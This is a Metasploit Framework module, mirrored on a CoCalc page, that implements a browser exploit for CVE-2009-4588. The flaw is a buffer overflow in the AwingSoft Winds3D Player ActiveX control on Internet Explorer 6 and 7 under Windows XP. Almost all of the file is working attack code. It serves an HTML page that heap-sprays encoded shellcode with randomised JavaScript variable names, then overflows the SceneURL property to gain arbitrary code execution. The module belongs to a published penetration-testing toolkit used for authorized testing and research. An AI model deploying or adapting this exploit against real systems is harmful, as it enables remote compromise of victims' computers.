CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# awingsoft_web3d_bof.rb
8
#
9
# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
10
#
11
# Tested successfully on the following platforms:
12
# - Internet Explorer 6, Windows XP SP2
13
# - Internet Explorer 7, Windows XP SP3
14
#
15
# WindsPly.ocx versions tested:
16
# - 3.0.0.5
17
# - 3.5.0.0
18
# - 3.6.0.0 (beta)
19
#
20
# Trancer
21
# http://www.rec-sec.com
22
##
23
24
class MetasploitModule < Msf::Exploit::Remote
25
Rank = AverageRanking
26
27
include Msf::Exploit::Remote::HttpServer::HTML
28
29
def initialize(info = {})
30
super(update_info(info,
31
'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',
32
'Description' => %q{
33
This module exploits a data segment buffer overflow within Winds3D Viewer of
34
AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
35
AwingSoft Web3D Player.
36
By setting an overly long value to the 'SceneURL' property, an attacker can
37
overrun a buffer and execute arbitrary code.
38
},
39
'License' => MSF_LICENSE,
40
'Author' =>
41
[
42
'shinnai <shinnai[at]autistici.org>', # Original exploit [see References]
43
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
44
'jduck'
45
],
46
'References' =>
47
[
48
[ 'CVE', '2009-4588' ],
49
[ 'OSVDB', '60017' ],
50
[ 'EDB', '9116' ],
51
[ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]
52
],
53
'DefaultOptions' =>
54
{
55
'EXITFUNC' => 'process'
56
},
57
'Payload' =>
58
{
59
'Space' => 1024,
60
'BadChars' => "\x00\x09\x0a\x0d'\\",
61
'StackAdjustment' => -3500
62
},
63
'Platform' => 'win',
64
'Targets' =>
65
[
66
# data segment size: 76180
67
# crasher offsets: 2640, 2712, 8984, 68420, 68424
68
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]
69
],
70
'DisclosureDate' => '2009-07-10',
71
'DefaultTarget' => 0))
72
end
73
74
def on_request_uri(cli, request)
75
76
# Re-generate the payload
77
return if ((p = regenerate_payload(cli)) == nil)
78
79
# Encode the shellcode
80
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
81
82
# Setup exploit buffers
83
nops = Rex::Text.to_unescape([target.ret].pack('V'))
84
ret = Rex::Text.uri_encode([target.ret].pack('V'))
85
blocksize = 0x40000
86
fillto = 500
87
offset = target['Offset']
88
89
# Randomize the javascript variable names
90
winds3d = rand_text_alpha(rand(100) + 1)
91
j_shellcode = rand_text_alpha(rand(100) + 1)
92
j_nops = rand_text_alpha(rand(100) + 1)
93
j_ret = rand_text_alpha(rand(100) + 1)
94
j_headersize = rand_text_alpha(rand(100) + 1)
95
j_slackspace = rand_text_alpha(rand(100) + 1)
96
j_fillblock = rand_text_alpha(rand(100) + 1)
97
j_block = rand_text_alpha(rand(100) + 1)
98
j_memory = rand_text_alpha(rand(100) + 1)
99
j_counter = rand_text_alpha(rand(30) + 2)
100
101
# we must leave the page, so we use http-equiv and javascript refresh methods
102
html = %Q|<html>
103
<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>
104
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
105
<script>
106
#{j_shellcode}=unescape('#{shellcode}');
107
#{j_nops}=unescape('#{nops}');
108
#{j_headersize}=20;
109
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
110
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
111
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
112
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
113
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
114
#{j_memory}=new Array();
115
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
116
117
var #{j_ret} = unescape('#{ret}');
118
while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }
119
#{winds3d}.SceneURL = #{j_ret};
120
setTimeout('window.location = "#{get_resource}";', 500);
121
</script>
122
</html>
123
|
124
125
print_status("Sending #{self.name}")
126
127
# Transmit the response to the client
128
send_response(cli, html, { 'Content-Type' => 'text/html' })
129
130
# Handle the payload
131
handler(cli)
132
end
133
end
134
135